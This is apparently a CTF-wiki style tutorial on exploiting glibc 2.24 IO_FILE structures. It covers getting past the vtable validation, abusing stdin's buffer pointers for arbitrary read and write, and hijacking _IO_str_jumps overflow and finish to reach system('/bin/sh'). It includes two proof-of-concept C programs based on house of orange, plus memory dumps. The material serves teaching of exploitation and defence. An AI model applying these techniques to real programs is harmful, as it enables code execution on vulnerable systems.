IO_FILE Exploitation under glibc 2.24¶
Introduction¶
In glibc version 2.24, a new detection mechanism against vtable hijacking of IO_FILE_plus was introduced. glibc now checks the validity of the vtable address before calling virtual functions. It first verifies whether the vtable is located within the _IO_vtable section. If the condition is met, execution proceeds normally; otherwise, _IO_vtable_check is called for further inspection.
/* Check if unknown vtable pointers are permitted; otherwise,
terminate the process. */
void _IO_vtable_check (void) attribute_hidden;
/* Perform vtable pointer validation. If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
It calculates section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;, then checks the offset of vtable - __start___libc_IO_vtables. If this offset is greater than section_length, i.e., greater than __stop___libc_IO_vtables - __start___libc_IO_vtables, then _IO_vtable_check() is called.
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;
/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct link_map *l;
if (_dl_open_hook != NULL
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}
#else /* !SHARED */
/* We cannot perform vtable validation in the static dlopen case
because FILE * handles might be passed back and forth across the
boundary. Therefore, we disable checking in this case. */
if (__dlopen != NULL)
return;
#endif
__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}
If the vtable is illegal, an abort will be triggered.
This check makes the previously used vtable exploitation techniques very difficult to implement.
New Exploitation Techniques¶
fileno and Buffer-Related Exploitation¶
After vtable became difficult to exploit, the focus shifted from the vtable to the internal fields of the _IO_FILE structure. As introduced earlier, _IO_FILE is created when using the standard I/O library and is responsible for maintaining some related information. Some of its fields represent the write or read addresses when calling functions like fwrite and fread. If these data can be controlled, arbitrary address write or arbitrary address read can be achieved.
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
};
Since a process contains the three default file streams stdin, stdout, and stderr, this method does not require any file operations in the process — exploitation can be achieved through scanf and printf as well.
In _IO_FILE, _IO_buf_base represents the starting address of the operation and _IO_buf_end represents the ending address. By controlling these two values, we can control read and write operations.
Example¶
Let's briefly observe the role of _IO_FILE when scanf is called.
#include "stdio.h"
char buf[100];
int main()
{
char stack_buf[100];
scanf("%s",stack_buf);
scanf("%s",stack_buf);
}
Before the program first uses stdin, the content of stdin has not been initialized and is empty.
0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0x00000000fbad2088 0x0000000000000000
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff
0x7ffff7dd1960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007ffff7dd3790
0x7ffff7dd1970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000
0x7ffff7dd1990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd19a0 <_IO_2_1_stdin_+192>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0 <== vtable
After calling scanf, we can see that fields like _IO_read_ptr, _IO_read_base, _IO_read_end, _IO_buf_base, and _IO_buf_end have all been initialized.
0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0x00000000fbad2288 0x0000000000602013
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000602014 0x0000000000602010
0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000602010 0x0000000000602010
0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000602010 0x0000000000602010
0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x0000000000602410 0x0000000000000000
0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff
0x7ffff7dd1960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007ffff7dd3790
0x7ffff7dd1970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000
0x7ffff7dd1990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd19a0 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x0000000000000000
0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0
Upon further consideration, we can discover that the memory initialized for stdin is actually allocated on the heap. Here the heap base address is 0x602000, and since there were no prior heap allocations, the buffer address is also 0x602010.
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /home/vb/桌面/tst/1/t1
0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /home/vb/桌面/tst/1/t1
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /home/vb/桌面/tst/1/t1
0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap]
The allocated heap size is 0x400 bytes, which corresponds exactly to _IO_buf_base through _IO_buf_end. After writing, we can see our written data in the buffer. Subsequently, the data is also written to the destination stack buffer.
0x602000: 0x0000000000000000 0x0000000000000411 <== allocated 0x400 size
0x602010: 0x000000000a333231 0x0000000000000000 <== buffered data
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
Next, we try to modify _IO_buf_base to achieve arbitrary address read/write. The address of the global buffer buf is 0x7ffff7dd2740. We modify _IO_buf_base and _IO_buf_end to the address of buffer buf.
0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0x00000000fbad2288 0x0000000000602013
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000602014 0x0000000000602010
0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000602010 0x0000000000602010
0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000602010 0x00007ffff7dd2740 <== _IO_buf_base
0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x00007ffff7dd27c0 0x0000000000000000 <== _IO_buf_end
0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff
0x7ffff7dd1960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007ffff7dd3790
0x7ffff7dd1970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000
0x7ffff7dd1990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd19a0 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x0000000000000000
0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0
After this, the data read by scanf will be written to the 0x7ffff7dd2740 location.
0x7ffff7dd2740 <buf>: 0x00000a6161616161 0x0000000000000000
0x7ffff7dd2750 <buffer>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2760 <buffer>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2770 <buffer>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2780 <buffer>: 0x0000000000000000 0x0000000000000000
_IO_str_jumps -> overflow¶
In libc, there is not only _IO_file_jumps as a vtable, but also one called _IO_str_jumps. This vtable is not within the check range.
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
If we can set the file pointer's vtable to _IO_str_jumps, we can call different file operation functions. Here we use _IO_str_overflow as an example:
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)// pass
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))// should in
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ // pass
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)//pass generally passes
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);//target [fp+0xe0]
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
libc_hidden_def (_IO_str_overflow)
We use the following code to hijack the program flow:
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
Several conditions to bypass:
1. fp->_flags & _IO_NO_WRITES must be false2. (pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_IO_buf_end - fp->_IO_buf_base) + flush_only(1))3. fp->_flags & _IO_USER_BUF(0x01) must be false4. 2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100 must not be negative5. new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; should point to the address corresponding to the /bin/sh string6. fp+0xe0 should point to the system address
Construction:
_flags = 0
_IO_write_base = 0
_IO_write_ptr = (binsh_in_libc_addr -100) / 2 +1
_IO_buf_end = (binsh_in_libc_addr -100) / 2
_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1
vtable = _IO_str_jumps - 0x18
Example¶
Modified from the how2heap houseoforange code. You can debug it yourself.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{
char *p1, *p2;
size_t io_list_all, *top;
// unsorted bin attack
p1 = malloc(0x400-16);
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
p2 = malloc(0x1000);
io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;
// _IO_str_overflow conditions
char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack
// top[0] = ~1;
// top[0] &= ~8;
top[0] = 0;
top[4] = 0; // write_base
top[5] = ((size_t)&binsh_in_libc-100)/2 + 1; // write_ptr
top[7] = 0; // buf_base
top[8] = top[5] - 1; // buf_end
// house_of_orange conditions
top[1] = 0x61;
top[20] = (size_t) &top[18];
top[21] = 2;
top[22] = 3;
top[24] = -1;
top[27] = (size_t)stdin - 0x3868-0x18; // _IO_str_jumps address
top[28] = (size_t) &winner;
/* Finally, trigger the whole chain by calling malloc */
malloc(10);
return 0;
}
int winner(char *ptr)
{
system(ptr);
return 0;
}
Additionally, the exploitation in house of pig is also a typical example. Note that when the condition
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
is satisfied, the following operations are executed sequentially:
size_t old_blen = _IO_blen (fp);
// #define _IO_blen (fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
new_buf = malloc (new_size);
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
These three operations — forging _IO_FILE and hijacking vtable to _IO_str_jumps — can be easily achieved through a large bin attack. Moreover, new_size, old_buf, and old_blen in the three statements above are all controllable by us. This function can accomplish the following three steps:
- Call malloc to allocate a chunk from tcache. Here we can request the __free_hook fake chunk that we previously placed.
- Copy a controllable-length, controllable-content memory segment to the malloc-obtained chunk (which can modify __free_hook to system).
- Call free with the starting address of the memory segment as its argument ("/bin/sh\x00", getshell).
In other words, as long as we construct it properly, executing this function will achieve getshell.
_IO_str_jumps -> finish¶
The principle is similar to _IO_str_jumps -> overflow above.
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //[fp+0xe8]
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
Conditions:
- _IO_buf_base must not be null
- _flags & _IO_USER_BUF(0x01) must be false
Construction is as follows:
_flags = (binsh_in_libc + 0x10) & ~1
_IO_buf_base = binsh_addr
_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1
vtable = _IO_str_finish - 0x18
fp+0xe8 -> system_addr
Example¶
Modified from the how2heap houseoforange code. You can debug it yourself.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{
char *p1, *p2;
size_t io_list_all, *top;
// unsorted bin attack
p1 = malloc(0x400-16);
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
p2 = malloc(0x1000);
io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;
// _IO_str_finish conditions
char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack
top[0] = ((size_t) &binsh_in_libc + 0x10) & ~1;
top[7] = ((size_t)&binsh_in_libc); // buf_base
// house_of_orange conditions
top[1] = 0x61;
top[5] = 0x1 ; //_IO_write_ptr
top[20] = (size_t) &top[18];
top[21] = 2;
top[22] = 3;
top[24] = -1;
top[27] = (size_t) stdin - 0x33f0 - 0x18;
top[29] = (size_t) &winner;
top[30] = (size_t) &top[30];
malloc(10);
return 0;
}
int winner(char *ptr)
{
system(ptr);
return 0;
}